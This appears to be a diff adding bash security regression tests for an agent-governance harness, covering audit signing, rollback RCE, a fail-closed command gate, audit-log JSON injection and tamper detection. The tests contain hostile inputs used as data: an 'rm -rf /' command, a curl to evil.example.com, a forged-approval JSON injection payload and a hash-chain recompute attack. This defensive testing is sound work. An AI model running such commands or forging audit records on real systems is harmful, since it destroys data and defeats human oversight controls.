# * permissive mode still auto-generates a local key (dev convenience),
# * enforced mode does NOT create a key when none is provisioned, and the
# resulting unsigned head then FAILS strict verification (fail-closed).
#
# Deterministic; hermetic (temp key dir + backup/restore of audit + gov dirs).
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
WORK="$(mktemp -d)"
BK="$WORK/bak"; mkdir -p "$BK"
cp -a "$PROJECT_ROOT/.specify/logs/audit" "$BK/audit" 2>/dev/null || true
cp -a "$PROJECT_ROOT/.specify/level5/central-governance" "$BK/cg" 2>/dev/null || true
restore() {
rm -rf "$PROJECT_ROOT/.specify/logs/audit"; cp -a "$BK/audit" "$PROJECT_ROOT/.specify/logs/audit" 2>/dev/null || true
rm -rf "$PROJECT_ROOT/.specify/level5/central-governance"; cp -a "$BK/cg" "$PROJECT_ROOT/.specify/level5/central-governance" 2>/dev/null || true
}
trap 'restore; rm -rf "$WORK"' EXIT
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
echo "===== Plan-16 SEC-02: no local key auto-gen in enforced mode ====="
echo "benign input" > "$WORK/in.txt"
# 1) Permissive mode: a fresh key dir auto-generates a local key (dev convenience).
KD1="$WORK/keys-permissive"
env CASAN_AUDIT_KEY_DIR="$KD1" bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out1.txt" agent_step >/dev/null 2>&1
[[ -f "$KD1/audit-private.pem" ]] \
&& pass "permissive mode auto-generates a local signing key" \
|| fail "permissive mode did not auto-generate a key (dev convenience broken)"
# 2) Enforced mode: a fresh key dir must NOT auto-generate a key.
KD2="$WORK/keys-enforced"
env CASAN_VERIFY_STRICT=1 CASAN_AUDIT_KEY_DIR="$KD2" bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out2.txt" agent_step >/dev/null 2>&1
[[ ! -f "$KD2/audit-private.pem" ]] \
&& pass "enforced mode does NOT auto-generate a local key (H-02 closed)" \
|| fail "enforced mode auto-generated a local key (attacker could re-sign forgery)"
# 3) The unsigned head produced in enforced mode fails strict verification.
[[ "$(rc_of env CASAN_VERIFY_STRICT=1 bash "$BASH_DIR/verify-audit-chain.sh")" -ne 0 ]] \
&& pass "unsigned head from enforced run FAILS strict verify (fail-closed)" \
|| fail "unsigned head passed strict verify"
echo ""
echo "===== SEC-02 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -0,0 +1,77 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-03 (H-03) — rollback-manager: no `bash -c`, structured argv only.
#
# The rollback `execute` path used to `bash -c "$rollback_command"` where the
# command was read from the unsigned transaction log — arbitrary code execution
# for anyone who can append a line. This proves:
# * a genuine checkpoint still restores the file (regression),
# * a forged free-form record with an RCE payload is REFUSED (not executed),
# * a forged structured record whose backup points outside the controlled
# backup dir is REFUSED (cannot copy an arbitrary source file).
#
# Deterministic; no model/app/network. Hermetic tx log via a temp workspace.
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
RM="$PROJECT_ROOT/.specify/scripts/bash/rollback-manager.sh"
TX_LOG="$PROJECT_ROOT/.specify/logs/level5/rollback-transactions.jsonl"
WORK="$(mktemp -d)"
# rollback-manager uses a fixed tx-log path; back it up and restore on exit.
[[ -f "$TX_LOG" ]] && cp -p "$TX_LOG" "$WORK/tx.bak"
restore_tx() { if [[ -f "$WORK/tx.bak" ]]; then cp -p "$WORK/tx.bak" "$TX_LOG"; else rm -f "$TX_LOG"; fi; }
trap 'restore_tx; rm -f "$WORK/PWNED"; rm -rf "$WORK"' EXIT
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
echo "===== Plan-16 SEC-03: rollback-manager no bash -c (RCE) ====="
# 1) Regression: genuine checkpoint -> execute restores exact content.
TARGET="$WORK/plan.txt"; echo "ORIGINAL" > "$TARGET"
TX="$(bash "$RM" checkpoint "$TARGET" | sed -n 's/.*transaction_id=\([^ ]*\).*/\1/p')"
echo "OVERWRITTEN" > "$TARGET"
bash "$RM" execute "$TX" >/dev/null 2>&1
[[ "$(cat "$TARGET")" == "ORIGINAL" ]] \
&& pass "genuine checkpoint restores exact pre-overwrite content" \
|| fail "checkpoint did not restore (got: $(cat "$TARGET"))"
# 2) Fail-able: forged free-form record carrying an RCE payload must be REFUSED.
rm -f "$WORK/PWNED"
python3 - "$TX_LOG" "$WORK/PWNED" <<'PY'
import json, sys
log, marker = sys.argv[1], sys.argv[2]
open(log, "a", encoding="utf-8").write(json.dumps({
"transaction_id": "evil-rce", "action": "checkpoint",
"rollback_command": f"touch {marker}"}) + "\n")
PY
RC="$(rc_of bash "$RM" execute evil-rce)"
if [[ "$RC" -ne 0 && ! -f "$WORK/PWNED" ]]; then
pass "forged free-form rollback_command REFUSED, no code executed (rc=$RC)"
else
fail "RCE not prevented (rc=$RC, marker exists=$([[ -f "$WORK/PWNED" ]] && echo yes || echo no))"
fi
# 3) Fail-able: forged restore_file whose backup is outside the controlled dir.
SECRET="$WORK/secret.txt"; echo "SECRET" > "$SECRET"
python3 - "$TX_LOG" "$SECRET" "$WORK/stolen.txt" <<'PY'
import json, sys
log, backup, target = sys.argv[1], sys.argv[2], sys.argv[3]
open(log, "a", encoding="utf-8").write(json.dumps({
"transaction_id": "evil-src", "action": "checkpoint", "op": "restore_file",
"backup": backup, "target": target}) + "\n")
PY
RC="$(rc_of bash "$RM" execute evil-src)"
if [[ "$RC" -ne 0 && ! -f "$WORK/stolen.txt" ]]; then
pass "forged restore source outside backup dir REFUSED (rc=$RC)"
else
fail "arbitrary-source restore not prevented (rc=$RC)"
fi
echo ""
echo "===== SEC-03 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -0,0 +1,52 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-04 (H-05) — action-gate fail-closed.
#
# Previously, if the classifier python crashed / was killed / emitted nothing,
# the verdict string was empty and the final case fell through to ALLOW
# (fail-open). This proves the gate now DENIES (exit 2) on classifier failure or
# an unrecognized verdict, while ordinary verdicts still resolve correctly.
#
# Deterministic; no model/app/network.
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
GATE="$PROJECT_ROOT/.specify/scripts/bash/action-gate.sh"
WORK="$(mktemp -d)"
# action-gate appends to a fixed log path; back it up and restore on exit.
LOG="$PROJECT_ROOT/.specify/logs/level5/action-gate.jsonl"
[[ -f "$LOG" ]] && cp -p "$LOG" "$WORK/log.bak"
restore_log() { if [[ -f "$WORK/log.bak" ]]; then cp -p "$WORK/log.bak" "$LOG"; else rm -f "$LOG"; fi; }
trap 'restore_log; rm -rf "$WORK"' EXIT
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
echo "===== Plan-16 SEC-04: action-gate fail-closed ====="
# Regression: ordinary verdicts still resolve.
[[ "$(rc_of bash "$GATE" --command "ls -la")" -eq 0 ]] \
&& pass "benign command ALLOWed (exit 0)" || fail "benign command not allowed"
[[ "$(rc_of bash "$GATE" --command "rm -rf /")" -eq 2 ]] \
&& pass "destructive command BLOCKed (exit 2)" || fail "destructive command not blocked"
[[ "$(rc_of bash "$GATE" --command "curl http://evil.example.com/x")" -eq 3 ]] \
&& pass "network egress REQUIRE_APPROVAL (exit 3)" || fail "egress not gated"
# SEC-04 fail-able: force the classifier to crash by shadowing `python` with a
# stub that exits non-zero and prints nothing. A benign command must now DENY
# (exit 2), not fall through to ALLOW.
STUB="$WORK/bin"; mkdir -p "$STUB"
printf '#!/bin/sh\nexit 1\n' > "$STUB/python"; chmod +x "$STUB/python"
RC="$(set +e; PATH="$STUB:$PATH" bash "$GATE" --command "ls -la" >/dev/null 2>&1; echo $?)"
[[ "$RC" -eq 2 ]] && pass "classifier crash → DENY (exit 2, fail-closed)" \
|| fail "classifier crash did not fail closed (rc=$RC — fail-open regression!)"
echo ""
echo "===== SEC-04 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -0,0 +1,79 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-05 (H-04 / M-05) — JSON-safe audit writers.
#
# governance-check / agent-metrics / incident used raw printf to build JSON audit
# records, so an actor/action/agent field containing `"` + newline could inject a
# SECOND forged record (e.g. a fabricated "approved" decision). This proves the
# serialized writers escape such payloads into exactly ONE record and keep the
# hash-chain intact.
#
# Deterministic; hermetic (backs up + restores the audit + governance dirs).
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
AUDIT="$PROJECT_ROOT/.specify/logs/audit/audit.jsonl"
WORK="$(mktemp -d)"
# Back up + restore the state governance-check mutates.
BK="$WORK/backup"; mkdir -p "$BK"
cp -a "$PROJECT_ROOT/.specify/logs/audit" "$BK/audit" 2>/dev/null || true
cp -a "$PROJECT_ROOT/.specify/level5/central-governance" "$BK/central-governance" 2>/dev/null || true
restore_state() {
rm -rf "$PROJECT_ROOT/.specify/logs/audit"; cp -a "$BK/audit" "$PROJECT_ROOT/.specify/logs/audit" 2>/dev/null || true
rm -rf "$PROJECT_ROOT/.specify/level5/central-governance"; cp -a "$BK/central-governance" "$PROJECT_ROOT/.specify/level5/central-governance" 2>/dev/null || true
}
trap 'restore_state; rm -rf "$WORK"' EXIT
export CASAN_AUDIT_KEY_DIR="$WORK/keys" # fresh key dir (avoid CI key-sync flake)
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
echo "===== Plan-16 SEC-05: JSON-safe audit writers ====="
echo "hello world" > "$WORK/in.txt"
# A payload that, under raw printf, would break out of the action field and append
# a forged "approved" audit record on a new line.
PAYLOAD='evil","decision":"approved","approver":"ATTACKER
{"timestamp":"forged","action":"pwned","record_hash":"deadbeef"}'
BEFORE=$(wc -l < "$AUDIT" 2>/dev/null | tr -d ' ')
set +e
bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out.txt" "$PAYLOAD" >/dev/null 2>&1
set -e 2>/dev/null || true
AFTER=$(wc -l < "$AUDIT" 2>/dev/null | tr -d ' ')
ADDED=$((AFTER - BEFORE))
[[ "$ADDED" -eq 1 ]] \
&& pass "injection payload produced exactly ONE audit record (added=$ADDED)" \
|| fail "expected 1 record, got $ADDED (raw-printf injection regression!)"
# The stored action field must round-trip the FULL payload (escaped, not truncated).
ROUNDTRIP="$(python3 - "$AUDIT" <<'PY'
import json, sys
last = [l for l in open(sys.argv[1], encoding="utf-8") if l.strip()][-1]
print(json.loads(last).get("action", ""))
PY
)"
[[ "$ROUNDTRIP" == "$PAYLOAD" ]] \
&& pass "action field round-trips the exact payload (escaped, not truncated)" \
|| fail "action field mangled — escaping wrong"
# No forged record: the chain must still verify, and no record may claim the
# fabricated hash 'deadbeef'.
bash "$BASH_DIR/verify-audit-chain.sh" "$AUDIT" >/dev/null 2>&1 \
&& pass "audit chain still verifies after injection attempt" \
|| fail "chain broken after injection (record_hash mismatch)"
grep -q '"record_hash":"deadbeef"\|"record_hash": "deadbeef"' "$AUDIT" \
&& fail "forged record with attacker hash present in audit log" \
|| pass "no forged record injected into audit log"
echo ""
echo "===== SEC-05 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -0,0 +1,78 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-06 (H-06) — control-plane audit head is SIGNED.
#
# The control-plane audit chain is a recomputable hash chain: a file-writer who
# edits the store could recompute every hash and the chain-only `verify-audit`
# would still PASS, so governance-report would falsely report CERTIFIED. Signing
# the head with an off-repo key closes this:
# * an intact signed store verifies (permissive + strict),
# * a recompute-tampered store FAILS (signature no longer matches the head),
# * a fully unsigned store FAILS in enforced mode (governance-report inherits
# CASAN_PROFILE=prod, so a certified run demands a signature).
#
# Deterministic; hermetic (temp store + temp keys + temp pubkey).
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
CP="$PROJECT_ROOT/.specify/scripts/bash/control-plane-settings.py"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
export CASAN_CP_STORE_FILE="$WORK/store.json"
export CASAN_CP_KEY_DIR="$WORK/keys"
export CASAN_CP_PUB="$WORK/cp-public.pem" # provisioned out-of-band (attacker cannot rewrite in this test)
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
echo "===== Plan-16 SEC-06: control-plane audit head signed ====="
python3 "$CP" set compression.enabled true --actor a@x --reason r >/dev/null 2>&1
python3 "$CP" set compression.mode structural --actor a@x --reason r >/dev/null 2>&1
[[ "$(rc_of python3 "$CP" verify-audit)" -eq 0 ]] \
&& pass "intact signed store verifies (permissive)" || fail "intact store rejected"
[[ "$(rc_of env CASAN_VERIFY_STRICT=1 python3 "$CP" verify-audit)" -eq 0 ]] \
&& pass "intact signed store verifies (strict)" || fail "intact store rejected in strict"
# Recompute-attack: tamper a value AND recompute the entire hash chain so it is
# internally consistent. The head signature (over the original head) must not match.
python3 - "$CASAN_CP_STORE_FILE" <<'PY'
import hashlib, json, sys
p = sys.argv[1]; d = json.load(open(p))
d["settings"]["compression.enabled"]["value"] = False
prev = "0" * 64
def he(e): return hashlib.sha256(json.dumps(e, sort_keys=True, ensure_ascii=False).encode()).hexdigest()
for e in d["audit"]:
if e.get("key") == "compression.enabled" and e.get("action") == "set":
e["value"] = False
rest = {k: v for k, v in e.items() if k != "hash"}; rest["prevHash"] = prev
for k in list(e):
if k != "hash": e[k] = rest[k]
e["hash"] = he(rest); prev = e["hash"]
json.dump(d, open(p, "w"), indent=2)
PY
[[ "$(rc_of python3 "$CP" verify-audit)" -ne 0 ]] \
&& pass "recompute-tampered store FAILS (head signature mismatch)" \
|| fail "recompute attack passed verification (H-06 not closed!)"
# Keyless attacker: delete the signature artifacts entirely. Enforced mode (what a
# certified run / prod profile uses) must reject an unsigned store; dev stays lax.
rm -f "$CASAN_CP_STORE_FILE.head" "$CASAN_CP_STORE_FILE.head.sig" "$CASAN_CP_PUB"
# rebuild a clean, internally-valid but UNSIGNED store (fresh sets would re-sign, so
# strip the signature after): easiest is to reuse the tampered chain which is
# internally valid; with sig files gone it is "unsigned".
[[ "$(rc_of env CASAN_VERIFY_STRICT=1 python3 "$CP" verify-audit)" -ne 0 ]] \
&& pass "unsigned store FAILS in enforced mode (prod / certified run)" \
|| fail "unsigned store accepted in enforced mode"
[[ "$(rc_of python3 "$CP" verify-audit)" -eq 0 ]] \
&& pass "unsigned store still OK in permissive dev mode (backward compat)" \
|| fail "permissive mode wrongly rejected unsigned store"
echo ""
echo "===== SEC-06 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -0,0 +1,79 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-16 (ARCH-01) — signed harness + policy bundle.
#
# Editing a gate or policy file (security-check.sh, prompt-filter.yaml,
# thresholds.yaml, *.pin, reviewers.registry) disables a control with no input
# trace. The signed bundle manifest binds the harness code + policy; the harness
# verifies its self-hash and refuses on drift. Proves:
# * intact bundle verifies (permissive + strict/signed),
# * a 1-byte edit to a gate script → verify FAIL (drift),
# * a new unmanifested policy file → verify FAIL,
# * a tampered manifest → verify FAIL (signature invalid),
# * casan-harness in prod REFUSES to run when the bundle has drifted.
#
# Deterministic; hermetic (temp bundle root + temp keys/manifest).
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
BI="$BASH_DIR/bundle-integrity.py"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
echo "===== Plan-16 SEC-16: signed harness + policy bundle ====="
# --- Tool-level (hermetic temp bundle) ---
ROOT="$WORK/root"; mkdir -p "$ROOT/scripts/bash" "$ROOT/config"
echo 'echo gate' > "$ROOT/scripts/bash/security-check.sh"
echo 'block: [rm -rf]' > "$ROOT/config/prompt-filter.yaml"
export CASAN_BUNDLE_ROOT="$ROOT" CASAN_BUNDLE_MANIFEST="$WORK/m.json"
export CASAN_BUNDLE_KEY_DIR="$WORK/keys" CASAN_BUNDLE_PUB="$WORK/b.pub"
python3 "$BI" generate >/dev/null 2>&1
[[ "$(rc_of python3 "$BI" verify)" -eq 0 ]] && pass "intact bundle verifies" || fail "intact verify failed"
[[ "$(rc_of python3 "$BI" verify --strict)" -eq 0 ]] && pass "intact bundle verifies (strict/signed)" || fail "strict verify failed"
echo 'echo gate; echo BACKDOOR' > "$ROOT/scripts/bash/security-check.sh"
[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "1-byte gate edit → FAIL (drift)" || fail "drift not detected"
echo 'echo gate' > "$ROOT/scripts/bash/security-check.sh" # restore
echo 'x: 1' > "$ROOT/config/thresholds.yaml" # add unmanifested policy
[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "unmanifested policy file → FAIL" || fail "unmanifested not detected"
rm -f "$ROOT/config/thresholds.yaml"; python3 "$BI" generate >/dev/null 2>&1
python3 - "$WORK/m.json" <<'PY'
import json, sys
d = json.load(open(sys.argv[1])); k = list(d["files"]); d["files"][k[0]] = "0" * 64
json.dump(d, open(sys.argv[1], "w"))
PY
[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "tampered manifest → FAIL (signature invalid)" || fail "manifest tamper not detected"
unset CASAN_BUNDLE_ROOT CASAN_BUNDLE_MANIFEST CASAN_BUNDLE_KEY_DIR CASAN_BUNDLE_PUB
# --- Harness-level: prod run refuses on bundle drift ---
HROOT="$WORK/hroot"; mkdir -p "$HROOT/scripts/bash"
echo 'echo gate' > "$HROOT/scripts/bash/security-check.sh"
env CASAN_BUNDLE_ROOT="$HROOT" CASAN_BUNDLE_MANIFEST="$WORK/hm.json" \
CASAN_BUNDLE_KEY_DIR="$WORK/hkeys" CASAN_BUNDLE_PUB="$WORK/h.pub" \
python3 "$BI" generate >/dev/null 2>&1
echo 'echo gate; echo BACKDOOR' > "$HROOT/scripts/bash/security-check.sh" # drift the bundle
echo "hi" > "$WORK/in.txt"
OUT="$(set +e; env CASAN_PROFILE=prod CASAN_KILLSWITCH_DIR="$WORK/noks" \
CASAN_BUNDLE_ROOT="$HROOT" CASAN_BUNDLE_MANIFEST="$WORK/hm.json" \
CASAN_BUNDLE_KEY_DIR="$WORK/hkeys" CASAN_BUNDLE_PUB="$WORK/h.pub" \
bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o.txt" act -- bash -c 'echo x' 2>&1)"
echo "$OUT" | grep -q "BUNDLE_INTEGRITY_DRIFT" \
&& pass "casan-harness (prod) REFUSES to run on bundle drift" \
|| fail "harness did not refuse on bundle drift"
echo ""
echo "===== SEC-16 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -0,0 +1,74 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-17 (ARCH-03) — CASAN_PROFILE=prod is secure-by-default.
#
# Many strong controls were opt-in env flags (off unless explicitly set), so a
# lazy operator ran permissively. Under CASAN_PROFILE=prod they now default ON —
# while an explicit `=0` still wins (internal scans that disable a flag on purpose
# must stay disabled). Proven across three real controls:
# * verify-audit-chain: unsigned chain fails under prod,
# * control-plane verify-audit: unsigned store fails under prod,
# * casan-harness kill-switch: engaged switch is enforced under prod, but an
# explicit CASAN_KILLSWITCH_ENFORCE=0 overrides.
#
# Deterministic; hermetic (temp dirs); no model/network.
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
echo "===== Plan-16 SEC-17: CASAN_PROFILE=prod secure-by-default ====="
# --- Control 1: verify-audit-chain (unsigned) ---
AUD="$WORK/audit"; mkdir -p "$AUD"
python3 - "$AUD/audit.jsonl" <<'PY'
import hashlib, json, sys
core = "|".join(["2026-07-06T00:00:00Z","t1","act","a@x","low","ALLOW","n/a","","ih","oh",""])
h = hashlib.sha256(core.encode()).hexdigest()
open(sys.argv[1],"w").write(json.dumps({"timestamp":"2026-07-06T00:00:00Z","trace_id":"t1","action":"act",
"actor":"a@x","risk_level":"low","decision":"ALLOW","approval_status":"n/a","approver":"",
"input_hash":"ih","output_hash":"oh","previous_record_hash":"","record_hash":h})+"\n")
PY
[[ "$(rc_of bash "$BASH_DIR/verify-audit-chain.sh" "$AUD/audit.jsonl")" -eq 0 ]] \
&& pass "verify-audit-chain: permissive default allows unsigned" || fail "permissive should allow unsigned"
[[ "$(rc_of env CASAN_PROFILE=prod bash "$BASH_DIR/verify-audit-chain.sh" "$AUD/audit.jsonl")" -ne 0 ]] \
&& pass "verify-audit-chain: prod profile enforces (unsigned FAILS)" || fail "prod did not enforce audit-chain"
# --- Control 2: control-plane verify-audit (unsigned store) ---
export CASAN_CP_STORE_FILE="$WORK/cp.json" CASAN_CP_KEY_DIR="$WORK/cpkeys" CASAN_CP_PUB="$WORK/cp.pub"
python3 "$BASH_DIR/control-plane-settings.py" set compression.enabled true --actor a --reason r >/dev/null 2>&1
rm -f "$WORK/cp.json.head" "$WORK/cp.json.head.sig" "$WORK/cp.pub" # strip the signature -> unsigned store
[[ "$(rc_of python3 "$BASH_DIR/control-plane-settings.py" verify-audit)" -eq 0 ]] \
&& pass "control-plane: permissive default allows unsigned store" || fail "permissive should allow unsigned store"
[[ "$(rc_of env CASAN_PROFILE=prod python3 "$BASH_DIR/control-plane-settings.py" verify-audit)" -ne 0 ]] \
&& pass "control-plane: prod profile enforces (unsigned store FAILS)" || fail "prod did not enforce control-plane"
unset CASAN_CP_STORE_FILE CASAN_CP_KEY_DIR CASAN_CP_PUB
# --- Control 3: casan-harness kill-switch (prod-on + explicit-0-wins) ---
export CASAN_KILLSWITCH_DIR="$WORK/ks"
echo "hi" > "$WORK/in.txt"
bash "$BASH_DIR/kill-switch.sh" engage project sec17 "test" >/dev/null 2>&1
OUT="$(set +e; CASAN_PROFILE=prod CASAN_KILLSWITCH_SCOPE=project CASAN_KILLSWITCH_ID=sec17 \
bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o.txt" act -- bash -c 'echo x' 2>&1)"
echo "$OUT" | grep -q "KILL_SWITCH_ACTIVE" \
&& pass "kill-switch: prod profile enforces an engaged switch (no explicit flag)" \
|| fail "prod profile did not enforce kill-switch"
OUT="$(set +e; CASAN_PROFILE=prod CASAN_KILLSWITCH_ENFORCE=0 CASAN_KILLSWITCH_SCOPE=project CASAN_KILLSWITCH_ID=sec17 \
bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o2.txt" act -- bash -c 'echo x' 2>&1)"
echo "$OUT" | grep -q "KILL_SWITCH_ACTIVE" \
&& fail "explicit CASAN_KILLSWITCH_ENFORCE=0 was overridden by prod (should win)" \
|| pass "kill-switch: explicit =0 overrides prod default (internal opt-out preserved)"
echo ""
echo "===== SEC-17 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -0,0 +1,84 @@
#!/usr/bin/env bash
set -uo pipefail
# CASAN Plan-16 SEC-18 (ARCH-02) — test-integrity manifest.
#
# Test suites are in the same repo an attacker can edit, so "green" proves nothing
# if a fail-able check was quietly deleted. The signed manifest records per-suite
# hash + fail-able-check count; CI re-verifies. This proves:
# * intact suites verify (permissive + strict/signed),
# * deleting a fail-able check -> FAIL (coverage regression),
# * removing a whole suite -> FAIL (suite removed),
# * tampering the manifest -> FAIL (signature invalid).
#
# Deterministic; hermetic (operates on a temp copy of the test dir).
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
TI="$PROJECT_ROOT/.specify/scripts/bash/test-integrity.py"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
mkdir -p "$WORK/tests"
cp "$PROJECT_ROOT/.specify/tests/phase-sec01-tests.sh" \
"$PROJECT_ROOT/.specify/tests/phase-control-plane-tests.sh" "$WORK/tests/"
export CASAN_TESTS_DIR="$WORK/tests"
export CASAN_TEST_MANIFEST="$WORK/manifest.json"
export CASAN_TI_KEY_DIR="$WORK/keys"
export CASAN_TI_PUB="$WORK/ti.pub"
PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
echo "===== Plan-16 SEC-18: test-integrity manifest ====="
python3 "$TI" generate >/dev/null 2>&1
[[ "$(rc_of python3 "$TI" verify)" -eq 0 ]] \
&& pass "intact suites verify" || fail "intact verify failed"
[[ "$(rc_of python3 "$TI" verify --strict)" -eq 0 ]] \
&& pass "intact suites verify under --strict (signed)" || fail "strict verify failed on signed manifest"
# Delete one fail-able check line from a suite.
python3 - "$WORK/tests/phase-sec01-tests.sh" <<'PY'
import re, sys
p = sys.argv[1]
lines = open(p, encoding="utf-8").read().splitlines(keepends=True)
out, removed = [], False
for ln in lines:
if not removed and 'pass "' in ln:
removed = True # drop the first assertion line
continue
out.append(ln)
open(p, "w", encoding="utf-8").write("".join(out))
PY
[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \
&& pass "deleting a fail-able check → FAIL (coverage regression)" \
|| fail "coverage regression not detected"
# Restore, then remove an entire suite.
python3 "$TI" generate >/dev/null 2>&1
rm -f "$WORK/tests/phase-control-plane-tests.sh"
[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \
&& pass "removing a whole suite → FAIL (suite removed)" \
|| fail "suite removal not detected"
# Restore, then tamper the manifest content (without re-signing).
cp "$PROJECT_ROOT/.specify/tests/phase-control-plane-tests.sh" "$WORK/tests/"
python3 "$TI" generate >/dev/null 2>&1
python3 - "$WORK/manifest.json" <<'PY'
import json, sys
p = sys.argv[1]; d = json.load(open(p))
# lower a recorded count so a later real drop would pass — the signature must catch this
for name in d["suites"]:
d["suites"][name]["checks"] = 0
json.dump(d, open(p, "w"), indent=2)
PY
[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \
&& pass "tampering the manifest → FAIL (signature invalid)" \
|| fail "manifest tamper not detected by signature"
echo ""
echo "===== SEC-18 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1
@@ -223,11 +223,16 @@ bash "$SCRIPTS/sign-audit-head.sh" "$PROJECT_ROOT/.specify/logs/audit/audit.json
"$SCRIPTS/verify-tool-audit.sh" "$PROJECT_ROOT/.specify/logs/audit/tool-calls.jsonl" > "$LEVEL5_DIR/11c-tool-audit-verify.stdout" "$SCRIPTS/verify-tool-audit.sh" "$PROJECT_ROOT/.specify/logs/audit/tool-calls.jsonl" > "$LEVEL5_DIR/11c-tool-audit-verify.stdout"
assert_contains "$LEVEL5_DIR/11c-tool-audit-verify.stdout" "TOOL_AUDIT_VALID" assert_contains "$LEVEL5_DIR/11c-tool-audit-verify.stdout" "TOOL_AUDIT_VALID"
# L5: rollback transaction record and execute # L5: rollback transaction — checkpoint a file and execute a genuine restore.
# SEC-03 (H-03): `execute` runs only whitelisted STRUCTURED ops (no `bash -c`), so
# rollback is exercised via `checkpoint` (the safe path) rather than a free-form
# recorded shell command. The marker starts at the state we expect restored.
